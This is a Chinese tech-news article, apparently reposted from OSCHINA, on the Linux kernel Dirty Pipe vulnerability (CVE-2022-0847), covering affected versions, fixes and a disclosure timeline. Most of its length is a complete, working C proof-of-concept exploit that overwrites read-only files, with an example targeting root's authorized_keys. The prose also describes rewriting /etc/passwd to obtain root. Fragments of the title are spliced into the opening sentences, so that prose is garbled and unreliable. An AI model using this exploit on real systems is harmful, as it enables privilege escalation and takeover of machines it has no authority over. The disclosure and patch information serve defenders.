Linux 内核最新高危提权漏洞：脏管道 (Dirty Pipe)

作者：局长 2022-03-09 13:25:21安全 漏洞 来自 CM4all 的核最安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞：脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。新高

来自 CM4all 的危提安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞：脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。权漏

据介绍，洞脏此漏洞自 5.8 版本起就已存在。管道非 root 用户通过注入和覆盖只读文件中的核最数据，从而获得 root 权限。新高因为非特权进程可以将代码注入 root 进程。危提

Max 表示，权漏“脏管道”漏洞与几年前的洞脏“脏牛”类似，所以采用了相似的管道名字，不过前者更容易被利用。核最此外，新高该漏洞目前已被黑客利用，危提研究人员建议尽快升级版本，Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{ 
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) { 
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) { 
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

int main(int argc, char **argv)
{ 
if (argc != 4) { 
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) { 
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) { 
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) { 
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) { 
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) { 
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) { 
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) { 
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) { 
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) { 
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) { 
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}

据介绍，本地用户可以将自己的数据注入敏感的只读文件，消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例，修改后可直接取消 root 用户的密码，然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现，使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。

最后，建议各位检查所使用的 Linux 服务器的内核版本，若是 5.8 以上的版本请尽快升级。

脏管道 (Dirty Pipe) 漏洞时间线：

• 2022-02-20：向 Linux 内核安全团队发送错误报告、漏洞利用和补丁
• 2022-02-21：在 Google Pixel 6 上复现错误，并向 Android 安全团队发送错误报告
• 2022-02-21： 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议，将补丁发送到 LKML(不含漏洞详细信息)
• 2022-02-23：发布包含错误修复的 Linux 稳定版本 (5.16.11、5.15.25、5.10.102)
• 2022-02-24：Google 将错误修复合并到 Android 内核
• 2022-02-28：通知 linux-distros 邮件列表
• 2022-03-07：公开披露

本文转自OSCHINA

本文标题：Linux 内核最新高危提权漏洞：脏管道 (Dirty Pipe)

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责任编辑：未丽燕 来源： 开源中国 脏管道Linux 内核漏洞

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